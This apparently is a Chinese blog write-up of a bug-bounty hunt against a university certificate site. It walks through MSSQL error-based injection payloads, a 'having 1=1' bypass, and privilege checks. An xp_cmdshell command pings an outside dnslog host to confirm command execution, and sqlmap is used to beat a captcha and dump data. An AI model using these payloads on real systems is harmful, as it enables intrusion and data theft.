实战-记一次edu证书站梅开三度 (上)

最近挖洞有了一些感悟,挖洞和渗透测试到底有那些不同呢?
1.
2022-01-18:22:13,有些累了,躺床上,群友发来一个edu某理工大学的证书站,问是不是有注入,发图让帮忙看看,
在这里插入图片描述本来以为就是常规的mssql的except,看了图才知道是sqli,标准的引号不完整,标准的堆栈sqlexception,

然后哥几个怎么也没能闭合,最近挖逻辑有了一些新的思考,我拿到手后,看到’)<24觉得挺奇怪,为啥会存在不等符号?

构造’",发现语句多了个datediff函数
在这里插入图片描述这样看就能看出来username后面跟了个datediff,引号没闭合导致后面2022前面的引号出了问题。
2. 闭合语句
mssql的闭合有三种 – a --+ ‘’
#号在mssql是不是用的,,构造payload:
’ and 1=@@version – a 看下版本

在这里插入图片描述
08的机子,看下数据库用户,1’ and 1=user-+
在这里插入图片描述到这里,又有了一个手法,,mssql数据库里dbo是不是数据库管理员’db_owner’呢?
挖洞很多时候看的是知识面。但如果说这个db_owner权限不只是数据库管理员,而是sa权限呢?
所以下面没有着急爆数据和内容,测试了一下权限。

在这里插入图片描述支持堆叠注入,那么到这里,从渗透的角度,基本能rce了
,宣告一个shell到手。。具体可以看上次的文章

https://blog.youkuaiyun.com/qq_29437513/article/details/122137756

但我们关注于效率,挖到证书即可。

3.having 1=1
mssql having 1=1这个手法可以快速的爆出数据库当前用的表和字段。
但在这里,出错了
’ having 1=1-- a
在这里插入图片描述了解到mssql having 1=1 手法的原理,比如说
select * from id where id= '‘having 1=1-- a’ 这不存在问题,但实际挖洞情况目标环境各色各异。这时候我发现
’ having 1=1 and ‘C’='C绕过了,不报错了,

在这里插入图片描述然后从这里看到当前数据库的核心表dbo.LoginRecord,然后尝试 group by 下一个字段,发现失败了,
在这里插入图片描述fa 返回内容说明这库里只有logintime这一个字段? 但这很明显不符合逻辑的,这时候我又注意到,,堆栈下面的报错

在这里插入图片描述Insert插入当前表loginrecord,(所以这也算一个报核心表的姿势),发现存在loginpwd,loginname,loginip这三个字段,但这些是前端属性,他们不是数据库的字段。。

4.报错注入的一些缺陷
cch从开始就看到,我们都知道报错注入基于mssql的字段基本都是nvchar字符,转化为整型,失败引发的结果。
dd但如果需要判断 整型的字符 比如 dba
payload ’ and 1=(is_svcrole(‘sysadmin’)) 在这里没有回显,那么,是不是就错过了一个sa?

先用sa权限来个dnslog玩玩,
’ exec xpcmdshell ‘ping y2n3hn.dnslog.cn’–+

在这里插入图片描述
5.sqlmap手法
zzz这种站点存在验证码刷新机制,,
sqlmap应该如何处理呢?

在这里插入图片描述zz这里发现服务器放回500时,验证码不会刷新,也就是说,构造payload带着’ 就能绕过验证码的机制,实现sqlmap dump,,

在这里插入图片描述测试带入’的内容,发现sqlmap自动闭合了,然后后面的pyload测试全部失效,,这里带入了all test,

qq取消all test 的测试后,sqlmap已经能识别到我想要的时间盲注
在这里插入图片描述盲注的手法相对报错注入来说,兼容的多,半小时内就可以dump出结果来,
在这里插入图片描述长春某理工大学证书到手了,
在这里插入图片描述在这里插入图片描述

w站在挖洞的角度,多关心挖洞的效率,,只是做一个抛砖引玉,,

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ECHO::

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值